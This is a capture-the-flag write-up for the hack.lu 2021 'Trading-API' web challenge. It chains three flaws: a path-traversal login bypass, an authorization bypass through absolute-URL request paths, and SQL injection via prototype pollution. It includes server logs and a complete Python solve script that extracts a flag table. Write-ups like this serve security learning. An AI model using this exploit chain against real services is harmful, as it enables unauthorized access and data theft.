Trading-API

hacklu-ctf 2021

Bypass Authorization with path traversal

const got = require('got');
const jsonwebtoken = require('jsonwebtoken');
const uuid = require('uuid').v4;
const { getRequired, getOrDefault, getOrGenerate } = require('./config');

const AUTH_SERVICE = getOrDefault('AUTH_SERVICE', 'http://localhost:3001');
const AUTH_API_TOKEN = getRequired('AUTH_API_TOKEN');
const JWT_SECRET = getOrGenerate('JWT_SECRET', uuid);

async function login(req, res) {
    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).send('missing username or password');
    }

    try {
        const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, {
            headers: { authorization: AUTH_API_TOKEN },
            json: { password },
        });
        if (r.statusCode !== 200) {
            return res.status(401).send('wrong');
        }

        const jwt = jsonwebtoken.sign({ username }, JWT_SECRET);
        return res.json({ token: jwt });
    } catch (error) {
        return res.status(503).end('error');
    }
}

function authn(req, res, next) {
    const authHeader = req.header('authorization');
    if (!authHeader) {
        return res.status(400).send('missing auth token');
    }
    try {
        req.user = jsonwebtoken.verify(authHeader, JWT_SECRET);
        next();
    } catch (error) {
        return res.status(401).send('invalid auth token');
    }
}

module.exports = {
    login,
    authn,
};

To succesfully bypass the login mechanism, we need a status code 200 from the auth component.

Looking at how the request is being made, we see the use of encodeURI which does not sanitize the input properly.

Therfore we can append ../ sequences to another api call present called /health, terminating it with a # character, which will allow us to bypass the login altogether.

Bypassing authz with path normalization

We see the use of a middleware authz which is used to determine access to the /api/priv/* calls

const express = require('express');
const morgan = require('morgan');

const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');

const HOST = getOrDefault('HOST', '127.0.0.1');
const PORT = getOrDefault('PORT', '3000');

async function main() {
    const app = express();
    
    app.use(morgan('dev'));
    app.use(express.json());

    app.all('/health', (req, res) => res.send('ok'));
    
    // authentication
    app.post('/api/auth/login', login);
    app.use(authn);
    
    // authorization
    app.use(authz({
        userPermissions: new Map(Object.entries({
            warrenbuffett69: [Permissions.VERIFIED],
        })),
        routePermissions: [
            [/^\/+api\/+priv\//i, Permissions.VERIFIED],
        ],
    }));
    
    await registerApi(app);
    
    app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}

main();

Looking at authz, we see that it is validating req.url against the regex.

const Permissions = {
    VERIFIED: 'verified',
};

function hasPermission(userPermissions, username, permission) {
    return userPermissions.get(username)?.includes(permission) ?? false;
}

function authz({ userPermissions, routePermissions }) {
    return (req, res, next) => {
        const { username } = req.user;
        for (const [regex, permission] of routePermissions) {
            console.log(req.url);
            if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) {
                return res.status(403).send('forbidden');
            }
        }
        next();
    };
}

module.exports = {
    Permissions,
    authz,
};

When applying a middleware, req.url strips the front part of the url, taking only the path.

For example, if a user requests http://example.com/users/profile?id=123, then req.url would be /users/profile?id=1.

But regex.test is checking for whether req.url starts with /api/priv so if we send a url like http://x/api/priv..., it will resolve to /api/priv... thus failing the regex check, allowing us to bypass the hasPermission call.

SQLi with prototype pollution

Looking at the privileged path /api/priv/assets/:asset/:action, we see that we are able to specify the asset variable which leads to transactions[asset][txId] but txId seems to be randomly generated.

app.put('/api/priv/assets/:asset/:action', async (req, res) => {
    const { username } = req.user
    
    const { asset, action } = req.params;
    if (/[^A-z]/.test(asset)) {
        return res.status(400).send('asset name must be letters only');
    }
    const assetTransactions = transactions[asset] ?? (transactions[asset] = {});
    // id is generated here (randomized)
    const txId = generateId();
    // assetTransactions is a map of txId to action transactions[asset][txId] = action 
    assetTransactions[txId] = action;
    
    try {
        await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1);
        res.json({ id: txId });
    } catch (error) {
        console.error('db error:', error.message);
        res.status(500).send('transaction failed');
    } finally {
        delete assetTransactions[txId];
    }
});

If we perform prototype pollution, we will have something like transactions['__proto__'][randomId] = "Whatever we want"

Looking at the way our statement is prepared, we see a permissive sqlEscape function which allows ASCII printable characters. It then set the escaped values to the keys with replaceAll.

If we overwrite the property of txID and set a placeholder in the query, replaceAll will substitute the value of "Whatever we want" in the placeholder, allowing us to perform SQLi.

Let's see that in action.

POST /api/auth/login 200 41.600 ms - 171
http://z/api/priv/assets/__proto__/%27%29%2C%2831193%2C%20%28SELECT%20%2A%20FROM%20flag%29%2C1%2C1%29--
Escaped parameters: {
  amount: '-1',
  asset: "'__proto__'",
  username: "'../../../../health#?::txId'",
  txId: '108446613024694'
}
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '../../../../health#?::txId')
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?:108446613024694')  
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')
Executing transaction query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')

We see that it is replacing each of the set keys (E.g :txId, :asset etc) in the for .. in loop, and by setting the placeholder ::txId in our username, we are able to set the placeholder :108446613024694 whose value has been set earlier here transactions['__proto__'][randomId] = action

Piecing together a solve script, we get the flag.

import requests
import socket

## Get token
url = "http://localhost:3000/api/auth/login"
data = {
    "username": "../../../../health#?::txId",
    "password": "password"
}
response = requests.post(url, json=data)
token = response.json().get("token")

host = "localhost"
port = 3000
asset = '__proto__'
action = "'),(31193, (SELECT * FROM flag),1,1)--"

# URL encode the action parameter
import urllib.parse
encoded_action = urllib.parse.quote(action, safe='')

# Correct HTTP request format
raw_request = f"""PUT http://z/api/priv/assets/{asset}/{encoded_action} HTTP/1.1\r
Host: {host}:{port}\r
Authorization: {token}\r
Content-Length: 0\r
Connection: close\r
\r
"""
print(raw_request)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.sendall(raw_request.encode())

# Receive full response
response = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    response += chunk

sock.close()

print(response.decode())



## Get token
headers = {"Authorization": token}

url = "http://localhost:3000/api/transactions/31193"
response = requests.get(url, headers=headers)
print(response.text)

Last updated